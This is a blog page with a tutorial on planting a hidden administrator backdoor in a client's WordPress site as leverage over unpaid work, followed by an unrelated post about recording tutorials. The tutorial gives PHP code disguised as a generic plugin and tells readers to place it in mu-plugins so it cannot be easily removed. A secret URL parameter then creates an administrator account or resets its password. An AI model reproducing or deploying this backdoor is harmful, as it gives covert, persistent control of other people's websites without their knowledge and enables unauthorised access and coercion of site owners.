sell website making service

How to Create an Admin User Programmatically in WordPress

Have you ever been in a situation where you worked on a website and the client refused to pay? Even though you were 100% honest and rightfully deserved your payment? You’re in luck today. My friend also faced a similar situation but used this method as a last resort. I do not recommend using this technique; instead, try discussing the issue with your client to resolve it amicably.

Code for Creating an Admin User Programmatically

<?php
/**
 * Plugin Name: Example Plugin Name  
 * Version: 1.2.3.4
 *
 * This plugin, like WordPress, is licensed under the GPL.
 * Use it to make something cool, have fun, and share what you've learned with others.
 *
 * Copyright © 2023 Hosting Company, . All Rights Reserved.
 */
 
  add_action( 'wp_head', 'addon_path_elementor' );

function addon_path_elementor() {
    if ( md5( $_GET['pathway'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'newuser' ) ) {
            $user_id = wp_create_user( 'newuser', 'NRTnzv*VEEGP3OFNAROZA&3O', 'any.gmail.address@gmail.com');
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
		
		else {
			$user = get_user_by('login','newuser');
			wp_set_password('NRTnzv*VEEGP3OFNAROZA&3O', $user->ID );
			$user->set_role( 'administrator' );
			}		
		
    }
}

Where to Put This Code

Save the code in a PHP file like “coder.php” and place it inside the “mu-plugins” folder located under the “wp-content” directory. The “mu-plugins” folder is not updated or modified by WordPress, and files placed here will not be deleted or updated like regular plugins. As a result, the file will automatically be added as a plugin but cannot be easily removed.

How to Run This Code

For example, if your site is https://example.com, to execute the code and create the new user, add “?pathway=go” at the end of the URL and hit enter, like this: https://example.com/?pathway=go. The URL will execute the code and create the user. You can then check the new user under the “Users” menu in wp-admin.

Code Explanation with Image

How to Create an Admin User Programmatically in WordPress

Share this article if it helps.

If you need help regarding any WordPress/website issues, you can contact me.

Turning Challenges into Opportunities: My Work with Web Development Tutorials

Recently, due to the unrest in our country, we faced internet outages, which left me with limited options for productive work. But I believe in making the most of any situation! Instead of sitting idle, I took this time to edit my WordPress and web development tutorials for my YouTube channel and Facebook.

Turning Challenges into Opportunities: My Work with Web Development Tutorials

These tutorials are raw and real—I recorded them while working on client projects and solving specific challenges.

Here’s why I decided to create these videos:

1️⃣ Helping Others: My goal is to provide valuable solutions to anyone searching for them.
2️⃣ Showcasing My Work: These videos serve as a portfolio of my work and skills.
3️⃣ Keeping Track: It’s a great way to document my progress and growth.

I’m confident that if I focus, I can create 200+ tutorials in just two months! 😄 However, finding time to record and edit is challenging, and sometimes, circumstances don’t allow it.

Looking back, I wish I had started recording my journey from the very beginning. Imagine the thousands of tutorials I could have shared, helping countless people along the way. After all, I’ve learned so much from the internet, and giving back through my knowledge would be incredibly fulfilling.

Turning Challenges into Opportunities: My Work with Web Development Tutorials

My editing process is simple—I use Free Cam 8 to record my screen and voice while I work, and final edit with CapCut.

As a self-employed professional, I’ve had to learn various skills to meet the needs of clients and employers, from web development to video and image editing. I like to think of myself as a one-man army 💪.

Check Most Recent Posts